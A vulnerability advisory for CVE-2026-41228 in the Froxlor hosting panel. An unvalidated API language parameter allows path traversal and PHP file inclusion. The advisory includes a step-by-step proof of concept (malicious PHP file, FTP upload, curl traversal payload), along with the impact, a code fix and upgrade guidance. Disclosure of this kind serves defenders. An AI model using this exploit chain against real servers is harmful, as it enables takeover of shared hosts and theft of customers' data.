CVE-2026-41228: Froxlor has Local File Inclusion via path traversal in API `def_language` parameter leads to Remote Code Execution
Summary
The Froxlor API endpoint Customers.update (and Admins.update) does not validate the deflanguage parameter against the list of available language files. An authenticated customer can set deflanguage to a path traversal payload (e.g., ../../../../../var/customers/webs/customer1/evil), which is stored in the database. On subsequent requests, Language::loadLanguage() constructs a file path using this value and executes it via require, achieving arbitrary PHP code execution as the web server user.
Details
Root cause: The API and web UI have inconsistent validation for the deflanguage parameter.
The web UI (customerindex.php:261, adminindex.php:265) correctly validates deflanguage against Language::getLanguages(), which scans the lng/ directory for actual language files:
php // customerindex.php:260-265 $deflanguage = Validate::validate(Request::post('deflanguage'), 'default language'); if (isset($languages[$deflanguage])) { Customers::getLocal($userinfo, [ 'id' => $userinfo['customerid'], 'deflanguage' => $deflanguage ])->update();
The API (Customers.php:1207, Admins.php:600) only runs Validate::validate() with the default regex /^[^\r\n\t\f\0]$/D, which permits path traversal sequences:
php // Customers.php:1167-1172 (customer branch) } else { // allowed parameters $deflanguage = $this->getParam('deflanguage', true, $result['deflanguage']); ... } // Customers.php:1207 - validation (shared by admin and customer paths) $deflanguage = Validate::validate($deflanguage, 'default language', '', '', [], true);
The tainted value is stored in the panelcustomers (or paneladmins) table. On every subsequent request, it is loaded and used in two paths:
API path (ApiCommand.php:218-222): php private function initLang() { Language::setLanguage(Settings::Get('panel.standardlanguage')); if ($this->getUserDetail('language') !== null && isset(Language::getLanguages()[$this->getUserDetail('language')])) { Language::setLanguage($this->getUserDetail('language')); } elseif ($this->getUserDetail('deflanguage') !== null) { Language::setLanguage($this->getUserDetail('deflanguage')); // No validation } }
Web path (init.php:180-185): php if (CurrentUser::hasSession()) { if (!empty(CurrentUser::getField('language')) && isset(Language::getLanguages()[CurrentUser::getField('language')])) { Language::setLanguage(CurrentUser::getField('language')); } else { Language::setLanguage(CurrentUser::getField('deflanguage')); // No validation } }
The language session field is null for API requests and empty on fresh web logins, so both paths fall through to the unvalidated deflanguage.
File inclusion (Language.php:89-98): php private static function loadLanguage($iso): array { $languageFile = dirname(DIR, 2) . sprintf('/lng/%s.lng.php', $iso); if (!fileexists($languageFile)) { return []; } $lng = require $languageFile; // Arbitrary PHP execution
With $iso = '../../../../../var/customers/webs/customer1/evil', the path resolves to /var/customers/webs/customer1/evil.lng.php, escaping the lng/ directory.
PoC
Step 1 — Upload malicious language file via FTP:
Froxlor customers have FTP access to their web directory by default (apiallowed defaults to 1 in the schema).
bash Create malicious .lng.php file echo '<?php system("id > /tmp/pwned"); return [];' > evil.lng.php
Upload to customer web directory via FTP ftp panel.example.com put evil.lng.php
The file is now at /var/customers/webs/<loginname>/evil.lng.php.
Step 2 — Set traversal payload via API:
bash curl -s -X POST https://panel.example.com/api \ -H 'Authorization: Basic <base64(apikey:apisecret)>' \ -d '{"command":"Customers.update","params":{"deflanguage":"../../../../../var/customers/webs/customer1/evil"}}'
The traversal path is stored in the database. The .lng.php suffix is appended automatically by Language::loadLanguage().
Step 3 — Trigger inclusion on next API call:
bash curl -s -X POST https://panel.example.com/api \ -H 'Authorization: Basic <base64(apikey:apisecret)>' \ -d '{"command":"Customers.get"}'
ApiCommand::initLang() loads deflanguage from the database and passes it to Language::setLanguage() → loadLanguage() → require /var/customers/webs/customer1/evil.lng.php.
Step 4 — Verify execution:
bash cat /tmp/pwned Output: uid=33(www-data) gid=33(www-data) groups=33(www-data)
Impact
An authenticated customer can execute arbitrary PHP code as the web server user. This enables:
- Full server compromise: Read lib/userdata.inc.php to obtain database credentials, then access all customer data, admin credentials, and server configuration. - Lateral movement: Access other customers' databases, email, and files from the shared hosting environment. - Persistent backdoor: Modify Froxlor source files or cron configurations to maintain access. - Data exfiltration: Read all hosted databases and email content across the panel.
The attack is practical because Froxlor is a hosting panel where customers have FTP access by default, and API access is enabled by default (apiallowed = 1). The .lng.php suffix constraint is not a meaningful barrier since the attacker controls file creation in their web directory.
Recommended Fix
Validate deflanguage against the actual language file list in the API endpoints, matching the web UI behavior:
php // In Customers.php, replace line 1207: // $deflanguage = Validate::validate($deflanguage, 'default language', '', '', [], true);
// With: $deflanguage = Validate::validate($deflanguage, 'default language', '', '', [], true); if (!empty($deflanguage) && !isset(Language::getLanguages()[$deflanguage])) { $deflanguage = Settings::Get('panel.standardlanguage'); }
Apply the same fix in Admins.php at line 600.
Additionally, add a defensive check in Language::loadLanguage() to prevent path traversal:
php private static function loadLanguage($iso): array { // Reject path traversal attempts if ($iso !== basename($iso) || strcontains($iso, '..')) { return []; } $languageFile = dirname(DIR, 2) . sprintf('/lng/%s.lng.php', $iso); // ... }
Other sources
Froxlor has Local File Inclusion via path traversal in API deflanguage parameter leads to Remote Code Execution
— Packagist
Froxlor is open source server administration software. Prior to version 2.3.6, the Froxlor API endpoint Customers.update (and Admins.update) does not validate the deflanguage parameter against the list of available language files. An authenticated customer can set deflanguage to a path traversal payload (e.g., ../../../../../var/customers/webs/customer1/evil), which is stored in the database. On subsequent requests, Language::loadLanguage() constructs a file path using this value and executes it via require, achieving arbitrary PHP code execution as the web server user. Version 2.3.6 fixes the issue.
— MITRE
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
composer/froxlor/froxlorto a version that resolves this vulnerability.Fixed in 2.3.6 - Upgrade
Upgrade
Froxlorto a version that resolves this vulnerability.Fixed in 2.3.6
Event History
Frequently Asked Questions
What is the severity of CVE-2026-41228?
CVE-2026-41228 is considered to have a high severity due to its potential to allow remote code execution.
How do I fix CVE-2026-41228?
To fix CVE-2026-41228, upgrade to Froxlor version 2.3.6 or higher.
Who is affected by CVE-2026-41228?
Froxlor installations prior to version 2.3.6 are affected by CVE-2026-41228.
What type of vulnerability is CVE-2026-41228?
CVE-2026-41228 is a Local File Inclusion vulnerability that can lead to remote code execution.
Which Froxlor API endpoints are impacted by CVE-2026-41228?
The CVE-2026-41228 vulnerability affects the Customers.update and Admins.update API endpoints.